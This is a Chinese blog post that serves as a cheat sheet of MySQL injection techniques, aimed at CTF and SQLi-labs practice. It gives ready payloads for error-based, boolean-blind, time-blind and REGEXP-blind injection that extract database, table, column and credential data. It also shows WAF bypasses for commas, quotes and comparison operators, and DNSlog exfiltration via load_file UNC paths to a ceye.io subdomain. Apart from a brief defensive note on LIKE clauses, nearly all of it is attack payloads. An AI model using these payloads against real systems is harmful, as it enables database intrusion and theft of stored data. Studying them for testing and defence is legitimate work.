sql注入再整理

错误回显:

count() 统计元祖的个数(相当于求和),如:select count(*) from information_schema.tables;

rand()用于产生一个0~1的随机数,如select rand();

floor()向下取整,如select floor(rand()*2);

group by 依据我们想要的规矩对结果进行分组,如

select table_name,table_schema from information_schema.tables group by table_name;

group_concat将符合条件的同一列中的不同行数据拼接,如select group_concat(0x3a,0x3a,database(),0x3a); 0x3a是十六进制的 ":"
又因头太长,为了美观,可以起一个别名,select group_concat(0x3a,0x3a,database(),0x3a)name;

select count(*),concat(0x3a,0x3a,database(),0x3a,floor(rand()*2))name from information_schema.tables group by name;

先生成随机数,并取证,然后用分号将不同的数据拼接,并取别名name,最后将结果以name进行分组并进行统计,能看到统计出的两个不同的取值,0和1。

再进行多次重复,看一下关于rand()函数与group by 在mysql中的错误报告,我们就是要利用group by part of rand() returns duplicate key error这个bug。

RAND() in a WHERE clause is re-evaluated every time the WHER is executed.You cannot use a column with RAND() values in an ORDER BY clause, because ORDER BY would evaluate the column multiple times.
--这个bug会爆出duplicate key这个错误,然后顺便就把数据也给爆了

公式:

username=admin' and (select 1 from (select count(*), concat(floor(rand(0)*2),0x23,
(你想获取的数据的sql语句))x from information_schema.tables group by x )a) and '1' = '1

and (select 1 from (select count(*),concat(floor(rand()*2),0x23,
(  select group_concat(schema_name)
 from information_schema.schemata  ) )name 
from information_schema.tables group by name)a) 
 --爆出所有库名,同上面一样,假设有falg库
 

and (select 1 from (select count(*),concat(floor(rand()*2),0x23,
(  select group_concat(table_name)
 from information_schema.tables where table_schema='flag'  ) )name
 from information_schema.tables group by name)a) 
 --爆出flag下的所有表,假设有flagtable表
 
 
and (select 1 from (select count(*),concat(floor(rand()*2),0x23,
(  select group_concat(column_name) from information_schema.columns 
where talbe_name ='flagtable'  ) )name 
from information_schema.tables group by name)a) 
 --爆出flagtable表的所有字段,假设有name和password
 
 
and (select 1 from (select count(*),concat(floor(rand()*2),0x23,
(  select group_concat(name,password) from flag.flagtable  ) )name 
from information_schema.tables group by name)a)  
 --爆出name和password字段的内容

bool盲注:

mid()函数

此函数为截取字符串一部分。
MID(column_name,start[,length])

参数                描述
column_name         必需。要提取字符的字段。
start               必需。规定开始位置(起始值是 1)。
length              可选。要返回的字符数。如果省略,则 MID() 函数返回剩余文本。

例如: str="123456" mid(str,2,1) 结果为2
Sql用例:

(1)MID(DATABASE(),1,1)>'a',查看数据库名第一位,MID(DATABASE(),2,1)查看数据库名第二位,依次查看各位字符。
(2)MID((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE T table_schema=0xxxxxxx LIMIT 0,1),1,1)>'a'此处column_name参数可以为sql语句,可自行构造sql语句进行注入。

substr()函数
Substr()和substring()函数实现的功能是一样的,均为截取字符串。
string substring(string, start, length)
string substr(string, start, length)
参数描述同mid()函数,第一个参数为要处理的字符串,start为开始位置,length为截取的长度。

Sql用例:
(1) substr(DATABASE(),1,1)>'a',查看数据库名第一位,substr(DATABASE(),2,1)查看数据库名第二位,依次查看各位字符。
(2) substr((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE T table_schema=0xxxxxxx LIMIT 0,1),1,1)>'a'此处string参数可以为sql语句,可自行构造sql语句进行注入。

Left()函数
Left()得到字符串左部指定个数的字符
Left ( string, n )        string为要截取的字符串,n为长度。

Sql用例:
(1) left(database(),1)>'a',查看数据库名第一位,left(database(),2)>'ab',查看数据库名前二位。
(2) 同样的string可以为自行构造的sql语句。

同时也要介绍ORD()函数,Ord()函数同 ascii(),将字符转为 ascii,此函数为返回第一个字符的ASCII码,经常与上面的函数进行组合使用。
例如

ORD(MID(DATABASE(),1,1))>114 

意为检测database()的第一位ASCII码是否大于114,也即是'r'

运算false盲注:

遇到引号闭合变量时,利用隐式转换,字母都被转成0
在这里仅考虑对错(1,0)
例如:
加法:

where user = 'admin' + (substr((select 1111),1,1)=1);
select 'admin' + (substr((select 1111),1,1)=1);  返回1
select 'admin' + (substr((select 1111),1,1)=2);  返回0

where user = '1admin' * (substr((select 1111),1,1)=1);
select '1admin' * (substr((select 1111),1,1)=1);  返回1
select '1admin' * (substr((select 1111),1,1)=2);  返回0

其他逻辑运算,位运算同理。

时间盲注:

web页面的返回值只有一种,true,无论输入任何值,它的返回都会按正确的来处理。加入特定的时间函数,通过查看是web页面返回的时间差来判断注入的语句是否正确

sleep()函数

执行将程序(进程)挂起一段时间

if(expr1,ecpr2,expr3)判断语句

爆库名

and if(ascii(
substr
(
(select schema_name from information_schema.schemata limit 1,1) ,1,1
)
)>100,1,sleep(3)) --使用二分法,一步一步爆出数据库名,假设其中有一数据库名为flag

爆表名

and if(ascii(substr((select table_name from information_schema.tables where table_schema='flag' limit 1,1) ,1,1))>101,1,sleep(3)) --假设有一表名为flagtable

爆列名

and if(ascii(substr((select column_name from information_schema.columns where table_name='flagtable' limit 1,1) ,1,1))>100,1,sleep(3)) --假设爆出列名为name和password

爆表中的内容

and if(ascii(substr((select group_concat(name,password) from flag.flagtable limit 0,1) ,1,1))>48,1,sleep(3))

like 模糊查询:

like 匹配/模糊匹配,会与 % 和 _ 结合使用。
like可以代替'='

'%a'     //以a结尾的数据
'a%'     //以a开头的数据
'%a%'    //含有a的数据
'_a_'    //三位且中间字母是a的
'_a'     //两位且结尾字母是a的
'a_'     //两位且开头字母是a的

比如:
查询以 java 字段开头的信息。

SELECT * FROM position WHERE name LIKE 'java%';

查询包含 java 字段的信息。

SELECT * FROM position WHERE name LIKE '%java%';

查询以 java 字段结尾的信息。

SELECT * FROM position WHERE name LIKE '%java';

like在SQL注入中:

where 1=1 AND
i.institution_short_name LIKE '%institutionName%'
如果用户输入:%'AND 1=1 AND '%' =',
会构成如下SQL,精简后如下,是能正确返回记录的,即存在SQL注入:
where 1=1 AND
i.institution_short_name LIKE '%%' AND 1=1 AND '%'='%'

解决办法:

1、尽量避免采用的方式,会导致SQL注入,LIKE '%institutionName%' 和 LIKE concat('%',institutionName,'%') 都会导致SQL注入;
2、尽量采用#的方式,#将传入的数据都当成一个字符串,会对自动传入的数据加一个双引号;更详细的可以查看$和#的区别;
3、对于例子中的模糊查询,可以用#结合concat函数连接,即修改为LIKE concat('%',#institutionName#,'%') ;
4、以上只是编码LIKE语句的SQL注入防范,实际中需要对用户输入进行过滤处理;

符号拦截绕过:

逗号绕过:
在联合注入时,使用 UNION SELECT 1,2,3,4,5,6,7..n 这样的格式爆显示位,然后再 UNION SELECT 1,2,3,4,database(),6,7..n ,
这是一个常规流程,语句中包含了多个逗号。

如果waf拦截了逗号,就用join绕过:

union select 1,2,3,4;
union select * from ((select 1)A join (select 2)B join (select 3)C join (select 4)D);
union select * from ((select 1)A join (select 2)B join (select 3)C join (select group_concat(user(),' ',database(),' ',@@datadir))D);

select * from news limit 0,1
等价于下面这条SQL语句
select * from news limit 1 offset 0

引号绕过:

select column_name from information_schema.tables where table_name="users"

把字符换成十六进制:

select column_name from information_schema.tables where table_name=0x7573657273

大小于绕过;

select * from users where id=1 and ascii(substr(database(),0,1))>64

此时如果比较操作符被过滤,上面的盲注语句则无法使用,那么就可以使用greatest来代替比较操作符了。
greatest(n1,n2,n3,等)函数返回输入参数(n1,n2,n3,等)的最大值。

select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64

REGEXP :

查找name字段中以'st'为开头的所有数据:


mysql> SELECT name FROM person_tbl WHERE name REGEXP '^st';

查找name字段中以'ok'为结尾的所有数据:

mysql> SELECT name FROM person_tbl WHERE name REGEXP 'ok$';

查找name字段中包含'mar'字符串的所有数据:

mysql> SELECT name FROM person_tbl WHERE name REGEXP 'mar';

查找name字段中以元音字符开头或以'ok'字符串结尾的所有数据:

mysql> SELECT name FROM person_tbl WHERE name REGEXP '^[aeiou]|ok$';
利用:

在MYSQL 5+中information_schema库中存储了所有的 库名,表明以及字段名信息。故攻击方式如下:

  1. 判断第一个表名的第一个字符是否是a-z中的字符,其中blind_sqli是假设已知的库名。
    注:正则表达式中 ^[a-z] 表示字符串中开始字符是在 a-z范围内

index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-z]' LIMIT 0,1)

  1. 判断第一个字符是否是a-n中的字符

index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-n]' LIMIT 0,1)

  1. 确定该字符为n

index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^n' LIMIT 0,1)

  1. 表达式的更换如下

expression like this: '^n[a-z]' -> '^ne[a-z]' -> '^new[a-z]' -> '^news[a-z]' -> FALSE
这时说明表名为news ,要验证是否是该表明 正则表达式为'^news$',但是没这必要 直接判断 table_name = ’news‘ 就行了。

  1. 接下来猜解其它表了 (只需要修改 limit 1,1 -> limit 2,1就可以对接下来的表进行盲注了)这里是错误的!!!
    regexp匹配的时候会在所有的项都进行匹配。例如:
security数据库的表有多个,users,email等
select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^u[a-z]' limit 0,1);是正确的
select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 0,1);是正确的
select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^em[a-z]' limit 0,1);是正确的
select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 1,1);不正确
select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^em[a-z]' limit 1,1);不正确

实验表明:在limit 0,1下,regexp会匹配所有的项。我们在使用regexp时,要注意有可能有多个项,同时要一个个字符去爆破。类似于上述第一条和第二条。而此时limit 0,1此时是对于where table_schema='security' limit 0,1。table_schema='security'已经起到了限定作用了,limit有没有已经不重要了。
limit 作用在前面的 select 语句中,而不是 regexp。
那我们该如 何选择。其实在 regexp 中我们是取匹配 table_name 中的内容,
只要 table_name 中有的内 容,我们用 regexp 都能够匹配到。因此上述语句不仅仅可以选择 user,还可以匹配其他项。

错误不回显

--- dnslog

在某些无法直接利用漏洞获得回显的情况下,但是目标可以发起DNS请求,这个时候就可以通过这种方式把想获得的数据外带出来。

常用在:

  • SQL注入中的盲注
  • 无回显的命令执行
  • 无回显的SSRF

对于sql盲注,常见的方法就是二分法去一个个猜,但是这样的方法麻烦不说,还很容易因为数据请求频繁导致被ban,所以可以将select到的数据发送给一个url,利用dns解析产生的记录日志来查看数据。
DNS在解析的时候会留下日志,咱们这个就是读取多级域名的解析日志,来获取信息
简单来说就是把信息放在高级域名中,传递到自己这,然后读取日志,获取信息
首先,你得有一个域名(like: abc.com),搭建好vps环境,之后访问XXXXX.abc.com,dns服务会将此解析放入log记录中,之后我们可以通过查看log记录来获取之前select查询到的信息。

推荐网站:crye

只要有账户,便会给你提供一个二级域名XXX.ceye.io,我们只要将信息放在三级域名那就可以收到信息了,例如上面几个例子,访问aaa.XXX.ceye.io,这个信息就被记录下来了。

load_file介绍:
LOAD_FILE(file_name)
读取文件并返回文件内容为字符串。要使用此函数,文件必须位于服务器主机上,
必须指定完整路径的文件,而且必须有FILE权限。 
该文件所有字节可读,但文件内容必须小于max_allowed_packet。
如果该文件不存在或无法读取,因为前面的条件之一不满足,函数返回 NULL。
在MySQL5.0.19,character_set_filesystem系统变量控制文件名的解释,即仅作文字字符串。

load_file函数在Linux下是无法用来做dnslog攻击的,因为在这里就涉及到Windows的——UNC路径。
以下是百度的UNC路径的解释
UNC是一种命名惯例, 主要用于在Microsoft Windows上指定和映射网络驱动器. UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机。我们日常常用的网络共享文件就是这个方式。

其实我们平常在Widnows中用共享文件的时候就会用到这种网络地址的形式

\\sss.xxx\test\ 

实战举例:

payload?id=1' and if((select load_file(concat('\\\\',
(select database()),'.XXXXX.ceye.io\\abc'))),1,1)--+

这也就解释了为什么CONCAT()函数拼接了4个\了,因为转义的原因,4个就变\成了2个\,目的就是利用UNC路径

select load_file(concat('\\\\\\\\',(select database()),'.XXXX.ceye.io\\abc'))

拼接的结果就是'\\ schema_name.XXXX.ceye.io\abc',其实相当于访问了带有数据库名称的三级域名,被dnslog捕获到了
括号里的(select database())就是注入的地方

本地数据库grad

语句
效果

再以SQL-lab的第五关为例:

?id=1' and if((select load_file(concat('\\\\',(select database()),'.******.ceye.io\\abc'))),1,1)--+

得到数据库

?id=1' and if((select load_file(concat('\\\\',(select table_name from information_schema.tables
 where table_schema='security' limit 0,1),'.******.ceye.io\\abc'))),1,1)--+

逐个查表,用limit。

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 194,491评论 5 459
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 81,856评论 2 371
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 141,745评论 0 319
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 52,196评论 1 263
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 61,073评论 4 355
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 46,112评论 1 272
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 36,531评论 3 381
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 35,215评论 0 253
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 39,485评论 1 290
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 34,578评论 2 309
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 36,356评论 1 326
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 32,215评论 3 312
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 37,583评论 3 299
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 28,898评论 0 17
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 30,174评论 1 250
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 41,497评论 2 341
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 40,697评论 2 335

推荐阅读更多精彩内容